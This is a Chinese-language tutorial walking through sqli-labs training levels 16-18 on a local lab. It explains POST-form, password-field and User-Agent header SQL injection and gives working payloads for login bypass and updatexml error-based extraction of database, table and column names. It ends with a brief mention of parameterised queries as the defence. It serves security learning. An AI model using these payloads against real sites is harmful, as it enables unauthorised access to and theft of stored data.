SQLi-labs学习sql注入(五)
字数 1058 2025-09-01 11:26:03

SQL注入进阶教学:sqli-labs关卡16-18详解

环境准备

  • 操作系统:Windows 7
  • 部署工具:phpstudy2018
  • 靶场环境:sqli-labs

第16关:POST请求注入与闭合方式

注入点确定

  • 通过不断尝试确定注入点为 1") 闭合
  • 测试方法:使用单引号、双引号和小括号配合布尔盲注

关键发现

  1. 提交方式差异

    • 在Hacker Bar工具中直接提交可能无法正确处理特殊字符(如+, #)
    • 通过页面表单提交会自动进行URL编码
    • 建议优先使用页面表单进行测试
  2. POST请求格式

    • Content-Type: application/x-www-form-urlencoded
    • 特点:
      • 数据以键值对形式组织(key=value)
      • 不同键值对用&分隔
      • 特殊字符会被URL编码(如空格→+%20#%23)
  3. 有效Payload

    uname=1") or 1=1 #&passwd=1&submit=Submit
    

第17关:密码字段报错注入

注入特点

  • 用户名输入无效,正确用户名会返回"SUCCESSFULLY UPDATED YOUR PASSWORD"
  • 注入点在密码字段

报错注入利用

  1. 测试单引号触发报错:

    1'
    
  2. 使用updatexml进行报错注入:

    uname=admin&passwd=1' and updatexml(1,concat(0x7e,database(),0x7e),1)#  //获取库名
    
    uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#  //获取表名
    
    uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#  //获取字段
    

第18关:User-Agent头部注入

注入背景

  • PHP语句:
    $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
    
  • $uagent来自$_SERVER获取的User-Agent字段

关键知识点

  1. 反引号作用

    • MySQL特性,用于区分关键字和标识符
    • 例如order是关键字,但`order`会被识别为表名
  2. 注入步骤

    • 使用BurpSuite抓包
    • 修改User-Agent字段进行测试
    • 单引号测试触发报错,双引号闭合成功
  3. 常见错误

    • 直接设置User-Agent为updatexml(...)无效
    • 原因:会被当作字符串而非函数执行
  4. 正确Payload

    ' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
    
    • 需要手动闭合前后的单引号

工具使用技巧

  1. BurpSuite

    • 抓取合法请求包
    • 发送到Repeater模块修改测试
    • 观察报错信息判断闭合方式
  2. Hacker Bar

    • 注意表单提交与工具直接提交的区别
    • 特殊字符处理方式不同

防御措施理解

  • 反引号的使用是防御SQL注入的一种方式
  • 但参数未过滤仍会导致注入风险
  • 完整防御应结合预处理语句和参数化查询

总结

这三关展示了不同场景下的SQL注入技术:

  1. POST表单注入及闭合方式
  2. 密码字段的报错注入
  3. HTTP头部的User-Agent注入

关键点在于理解不同场景下的闭合方式,以及如何构造有效的Payload绕过限制获取数据。

SQL注入进阶教学:sqli-labs关卡16-18详解 环境准备 操作系统:Windows 7 部署工具:phpstudy2018 靶场环境:sqli-labs 第16关:POST请求注入与闭合方式 注入点确定 通过不断尝试确定注入点为 1") 闭合 测试方法:使用单引号、双引号和小括号配合布尔盲注 关键发现 提交方式差异 : 在Hacker Bar工具中直接提交可能无法正确处理特殊字符(如 + , # ) 通过页面表单提交会自动进行URL编码 建议优先使用页面表单进行测试 POST请求格式 : Content-Type: application/x-www-form-urlencoded 特点: 数据以键值对形式组织( key=value ) 不同键值对用 & 分隔 特殊字符会被URL编码(如空格→ + 或 %20 , # → %23 ) 有效Payload : 第17关:密码字段报错注入 注入特点 用户名输入无效,正确用户名会返回"SUCCESSFULLY UPDATED YOUR PASSWORD" 注入点在密码字段 报错注入利用 测试单引号触发报错: 使用updatexml进行报错注入: 第18关:User-Agent头部注入 注入背景 PHP语句: $uagent 来自 $_SERVER 获取的User-Agent字段 关键知识点 反引号作用 : MySQL特性,用于区分关键字和标识符 例如 order 是关键字,但 `order` 会被识别为表名 注入步骤 : 使用BurpSuite抓包 修改User-Agent字段进行测试 单引号测试触发报错,双引号闭合成功 常见错误 : 直接设置User-Agent为 updatexml(...) 无效 原因:会被当作字符串而非函数执行 正确Payload : 需要手动闭合前后的单引号 工具使用技巧 BurpSuite : 抓取合法请求包 发送到Repeater模块修改测试 观察报错信息判断闭合方式 Hacker Bar : 注意表单提交与工具直接提交的区别 特殊字符处理方式不同 防御措施理解 反引号的使用是防御SQL注入的一种方式 但参数未过滤仍会导致注入风险 完整防御应结合预处理语句和参数化查询 总结 这三关展示了不同场景下的SQL注入技术: POST表单注入及闭合方式 密码字段的报错注入 HTTP头部的User-Agent注入 关键点在于理解不同场景下的闭合方式,以及如何构造有效的Payload绕过限制获取数据。